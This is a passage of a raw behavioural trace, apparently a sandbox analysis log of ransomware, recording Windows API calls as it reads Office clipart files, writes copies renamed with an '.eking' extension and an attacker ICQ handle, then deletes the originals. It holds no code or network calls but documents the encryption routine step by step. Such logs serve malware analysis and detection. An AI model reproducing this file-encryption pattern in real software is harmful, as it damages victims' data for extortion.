Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.521] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.521] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x358 [0272.543] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x12ee, lpOverlapped=0x0) returned 1 [0272.546] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x12f0, lpOverlapped=0x0) returned 1 [0272.549] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0272.549] CloseHandle (hObject=0x368) returned 1 [0272.549] CloseHandle (hObject=0x358) returned 1 [0272.549] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0 [0272.550] SetEvent (hEvent=0x2b8) returned 1 [0272.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0272.551] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=30240) returned 1 [0272.551] CloseHandle (hObject=0x358) returned 1 [0272.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0272.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0272.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0272.552] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.552] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0272.554] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x7620, lpOverlapped=0x0) returned 1 [0272.558] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x7630, lpOverlapped=0x0) returned 1 [0272.560] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0272.560] CloseHandle (hObject=0x358) returned 1 [0272.560] CloseHandle (hObject=0x368) returned 1 [0272.560] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0 [0272.561] SetEvent (hEvent=0x2b8) returned 1 [0272.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.564] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=29212) returned 1 [0272.564] CloseHandle (hObject=0x368) returned 1 [0272.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0272.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0272.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.565] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.565] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x358 [0272.566] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x721c, lpOverlapped=0x0) returned 1 [0272.570] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x7220, lpOverlapped=0x0) returned 1 [0272.572] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0272.572] CloseHandle (hObject=0x368) returned 1 [0272.572] CloseHandle (hObject=0x358) returned 1 [0272.572] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0 [0272.573] SetEvent (hEvent=0x2b8) returned 1 [0272.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0272.574] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=14194) returned 1 [0272.574] CloseHandle (hObject=0x358) returned 1 [0272.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0272.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0272.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0272.575] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.575] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0272.577] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3772, lpOverlapped=0x0) returned 1 [0272.957] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3780, lpOverlapped=0x0) returned 1 [0272.975] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0272.975] CloseHandle (hObject=0x358) returned 1 [0272.976] CloseHandle (hObject=0x368) returned 1 [0272.976] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0 [0272.976] SetEvent (hEvent=0x2b8) returned 1 [0272.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.984] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=6068) returned 1 [0272.984] CloseHandle (hObject=0x368) returned 1 [0272.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0272.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0272.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0272.989] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.989] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0272.997] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x17b4, lpOverlapped=0x0) returned 1 [0272.999] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x17c0, lpOverlapped=0x0) returned 1 [0273.001] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.001] CloseHandle (hObject=0x358) returned 1 [0273.001] CloseHandle (hObject=0x368) returned 1 [0273.001] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0 [0273.002] SetEvent (hEvent=0x2b8) returned 1 [0273.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.003] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8552) returned 1 [0273.003] CloseHandle (hObject=0x368) returned 1 [0273.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0273.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0273.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0273.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.004] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.004] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x358 [0273.005] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2168, lpOverlapped=0x0) returned 1 [0273.008] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2170, lpOverlapped=0x0) returned 1 [0273.009] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.010] CloseHandle (hObject=0x368) returned 1 [0273.010] CloseHandle (hObject=0x358) returned 1 [0273.010] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0 [0273.010] SetEvent (hEvent=0x2b8) returned 1 [0273.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0273.011] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8424) returned 1 [0273.011] CloseHandle (hObject=0x358) returned 1 [0273.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0273.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0273.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0273.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0273.013] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.013] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0273.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0273.014] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x20e8, lpOverlapped=0x0) returned 1 [0273.017] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x20f0, lpOverlapped=0x0) returned 1 [0273.018] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.019] CloseHandle (hObject=0x358) returned 1 [0273.019] CloseHandle (hObject=0x368) returned 1 [0273.019] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0 [0273.019] SetEvent (hEvent=0x2b8) returned 1 [0273.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.020] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10816) returned 1 [0273.020] CloseHandle (hObject=0x368) returned 1 [0273.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0273.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0273.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0273.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 